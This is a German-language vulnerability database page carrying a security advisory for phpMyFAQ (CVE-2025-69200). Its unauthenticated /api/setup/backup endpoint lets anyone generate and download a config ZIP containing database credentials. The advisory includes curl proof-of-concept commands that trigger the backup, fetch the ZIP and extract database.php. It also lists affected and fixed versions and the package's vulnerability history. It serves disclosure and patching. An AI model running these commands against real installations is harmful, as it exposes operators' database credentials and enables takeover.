Hoch

phpMyFAQ has unauthenticated config backup download via /api/setup/backup

  • Veröffentlicht: 30.12.2025
  • Aktualisiert: 11.10.2026 10:22

Summary

An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.

Details

The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.

Relevant code paths:

  • Rewrite rule exposing the endpoint:
    • phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]
  • Controller implementation:
    • phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php → backup()
      • No call to hasValidToken(), userIsAuthenticated(), or any permission check
  • Backup creation:
    • phpmyfaq/src/phpMyFAQ/Setup/Update.php → createConfigBackup()
      • Writes the ZIP into the config directory and returns a public URL under content/core/config/

PoC

Replace BASE_URL with your instance URL.

  1. Trigger config backup generation without authentication:
bash
BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
  -H "Content-Type: text/plain" \
  --data "4.1.0-RC"

Expected result: 200 OK with JSON containing backupFile.

  1. Copy the backupFile URL from the JSON response and download it (still without authentication):
bash
# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip
  1. Verify sensitive content exists in the ZIP:
bash
unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php

Observed: database.php is included and contains DB host/user/password.

Impact

  • Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
  • Who is impacted: Any internet-exposed phpMyFAQ installation where the default .htaccess rewrite rules are active and the endpoint is reachable.
  • Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket thorsten/phpmyfaq < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Schwäche (CWE)
CWE-202
Plattform
Composer
Paket
thorsten/phpmyfaq
Veröffentlicht
30.12.2025
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-9cg9-4h4f-j6fg - CC BY 4.0

Schwachstellenhistorie: thorsten/phpmyfaq

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (112) im Archiv
Einträge insgesamt
112
Erste → letzte
05.2022 09.2026
Ohne Fix
2
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 8
  • Hoch 36
  • Mittel 67
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2022: 8
  2. 2023: 62
  3. 2024: 2
  4. 2025: 6
  5. 2026: 34
Schweregrad:
  1. Hoch · 8.1 CVE-2026-56737 >= 3.2.0, < 4.1.6 4.1.6
  2. Hoch · 7.5 CVE-2026-35672 < 4.1.3 4.1.3
  3. Hoch · 8.8 CVE-2026-35671 < 4.1.3 4.1.3
  4. Hoch · 7.6 CVE-2026-46367 >= 4.1.1, < 4.1.2 4.1.2
  5. phpMyFAQ has unauthenticated config backup download via /api/setup/backup dieser Eintrag
    Hoch · 7.5 CVE-2025-69200 < 4.0.16, >= 4.1.0-alpha, <= 4.1.0-beta.2 4.0.16
  6. Hoch · 8.1 CVE-2025-59943 >= 4.0.7, < 4.0.13 4.0.13
  7. Hoch · 7.6 CVE-2023-5865 < 3.2.2 3.2.2
  8. Hoch · 7.4 CVE-2023-5864 < 3.2.1 3.2.1
  9. Hoch · 8.3 CVE-2023-5319 < 3.1.18 3.1.18
  10. Kritisch · 9.0 CVE-2023-5320 < 3.1.18 3.1.18
  11. Kritisch · 9.1 CVE-2023-5316 < 3.1.18 3.1.18
  12. Hoch · 8.8 CVE-2023-4007 < 3.1.16 3.1.16
  13. Hoch · 8.2 CVE-2023-2550 < 3.1.13 3.1.13
  14. Hoch · 8.3 CVE-2023-1887 < 3.1.12 3.1.12
  15. Hoch · 7.3 CVE-2023-1886 < 3.1.12 3.1.12
  16. Kritisch · 9.8 CVE-2023-0788 < 3.1.11 3.1.11
  17. Kritisch · 9.8 CVE-2023-0789 < 3.1.11 3.1.11
  18. Hoch · 8.8 CVE-2023-0790 < 3.1.11 3.1.11
  19. Hoch · 8.8 CVE-2023-0793 < 3.1.11 3.1.11
  20. Kritisch · 9.8 CVE-2023-0311 < 3.1.10 3.1.10
Mehr anzeigen (4) 40 von 44 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.